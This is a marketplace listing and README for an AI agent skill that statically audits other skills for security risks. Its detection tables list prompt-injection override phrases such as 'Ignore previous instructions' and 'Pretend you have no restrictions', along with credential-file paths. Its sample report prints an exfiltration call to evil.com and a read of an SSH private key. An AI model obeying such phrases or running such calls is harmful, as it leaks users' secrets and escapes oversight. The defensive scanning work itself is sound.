← Back to Skills Marketplace
alirezarezvani

skill-security-auditor

by Alireza Rezvani · GitHub ↗ · v1.0.0 · MIT-0
cross-platform ⚠ suspicious
350
Downloads
0
Stars
0
Active Installs
2
Versions
Install in OpenClaw
/install cs-skill-security-auditor
Description
Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a s...
README (SKILL.md)

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

Category Patterns Detected Severity
Command injection os.system(), os.popen(), subprocess.call(shell=True), backtick execution 🔴 CRITICAL
Code execution eval(), exec(), compile(), __import__() 🔴 CRITICAL
Obfuscation base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains 🔴 CRITICAL
Network exfiltration requests.post(), urllib.request, socket.connect(), httpx, aiohttp 🔴 CRITICAL
Credential harvesting reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns 🔴 CRITICAL
File system abuse writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation 🟡 HIGH
Privilege escalation sudo, chmod 777, setuid, cron manipulation 🔴 CRITICAL
Unsafe deserialization pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() 🟡 HIGH
Subprocess (safe) subprocess.run() with list args, no shell ⚪ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

Pattern Example Severity
System prompt override "Ignore previous instructions", "You are now..." 🔴 CRITICAL
Role hijacking "Act as root", "Pretend you have no restrictions" 🔴 CRITICAL
Safety bypass "Skip safety checks", "Disable content filtering" 🔴 CRITICAL
Hidden instructions Zero-width characters, HTML comments with directives 🟡 HIGH
Excessive permissions "Run any command", "Full filesystem access" 🟡 HIGH
Data extraction "Send contents of", "Upload file to", "POST to" 🔴 CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

Check What It Does Severity
Known vulnerabilities Cross-reference with PyPI/npm advisory databases 🔴 CRITICAL
Typosquatting Flag packages similar to popular ones (e.g., reqeusts) 🟡 HIGH
Unpinned versions Flag requests>=2.0 vs requests==2.31.0 ⚪ INFO
Install commands in code pip install or npm install inside scripts 🟡 HIGH
Suspicious packages Low download count, recent creation, single maintainer ⚪ INFO

4. File System & Structure

Check What It Does Severity
Boundary violation Scripts referencing paths outside skill directory 🟡 HIGH
Hidden files .env, dotfiles that shouldn't be in a skill 🟡 HIGH
Binary files Unexpected executables, .so, .dll, .exe 🔴 CRITICAL
Large files Files >1MB that could hide payloads ⚪ INFO
Symlinks Symbolic links pointing outside skill directory 🔴 CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report — findings grouped by severity
  3. Verdict interpretation:
    • ✅ PASS — No critical or high findings. Safe to install.
    • ⚠️ WARN — High/medium findings detected. Review manually before installing.
    • ❌ FAIL — Critical findings. Do NOT install without remediation.
  4. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code — static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

Usage Guidance
This skill appears to be what it says: a static security auditor that scans skill directories and repos. Before running it on untrusted content, review the script (scripts/skill_security_auditor.py) yourself — especially any code that performs network calls, clones remote repos, or writes to disk. Run the scanner in an isolated environment (VM/container) when auditing unknown skills, since reports may include full file contents and could surface secrets present in the scanned skill. If you plan to allow autonomous invocation, restrict its scope and monitor any network activity; consider running it with network disabled unless you explicitly need remote dependency checks. Finally, the pre-scan prompt-injection flags in SKILL.md look like documentation examples (expected), but always verify the tool doesn't execute or embed those directives at runtime.
Capability Analysis
Type: OpenClaw Skill Name: cs-skill-security-auditor Version: 1.0.0 The 'cs-skill-security-auditor' bundle is a legitimate security tool designed to perform static analysis on other AI agent skills. The core logic in 'scripts/skill_security_auditor.py' uses comprehensive regex patterns to detect command injection, code execution, data exfiltration, and prompt injection risks. The 'SKILL.md' and 'references/threat-model.md' files provide clear, helpful documentation consistent with the tool's purpose, and no evidence of malicious intent, hidden payloads, or unauthorized data exfiltration was found.
Capability Assessment
Purpose & Capability
Name/description match the included script and SKILL.md: a static auditor that scans skill directories and repos. No unrelated env vars, binaries, or install steps are requested.
Instruction Scope
SKILL.md and the script instruct scanning skill directories or cloning a repo and returning a PASS/WARN/FAIL report. The docs explicitly state the scanner will include full file contents in reports and search for sensitive paths (e.g., ~/.ssh, ~/.aws) — this is expected for a security auditor but means reports can surface sensitive data from the target skill. Pre-scan detected prompt-injection phrases, but they appear in the doc as examples to detect rather than operational instructions.
Install Mechanism
No install spec (instruction + script only). That is proportionate for a scanner — nothing is downloaded or written by an install step in the metadata.
Credentials
No credentials, env vars, or config paths are requested by the skill metadata. The scanner checks for access to credential files inside target skills (as it should) but does not itself declare any secret access.
Persistence & Privilege
always:false and no special persistence requested. disable-model-invocation is false (agent can invoke autonomously) — normal for user-invocable skills. As with any auditor that can be invoked autonomously, consider limiting its scope if you plan to let agents run it automatically.
How to Use
  1. Make sure OpenClaw is installed (local or Docker)
  2. Run the install command in chat: /install cs-skill-security-auditor
  3. After installation, invoke the skill by name or use /cs-skill-security-auditor
  4. Provide required inputs per the skill's parameter spec and get structured output
Version History
v1.0.0
Initial publish (prefixed slug)
v2.1.2
- Detailed, actionable SKILL.md added, describing scan categories, severity levels, triggers, and reporting workflow - Clarified usage instructions for local directories, git repos, strict mode, and JSON output - Expanded documentation of what the security auditor scans: code execution, prompt injection, supply chain risks, and filesystem checks - Example audit report and remediation guidance included for clarity - Advanced usage coverage: CI/CD integration, pre-clone audits, and batch processing - Transparent statement of limitations and link to detailed threat model for reference
Metadata
Slug cs-skill-security-auditor
Version 1.0.0
License MIT-0
All-time Installs 0
Active Installs 0
Total Versions 2
Frequently Asked Questions

What is skill-security-auditor?

Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a s... It is an AI Agent Skill for Claude Code / OpenClaw, with 350 downloads so far.

How do I install skill-security-auditor?

Run "/install cs-skill-security-auditor" in the OpenClaw or Claude Code chat to install it in one step — no extra setup required.

Is skill-security-auditor free?

Yes, skill-security-auditor is completely free, licensed under MIT-0. You can download, install and use it at no cost.

Which platforms does skill-security-auditor support?

skill-security-auditor is cross-platform and runs anywhere OpenClaw / Claude Code is available (cross-platform).

Who created skill-security-auditor?

It is built and maintained by Alireza Rezvani (@alirezarezvani); the current version is v1.0.0.

💬 Comments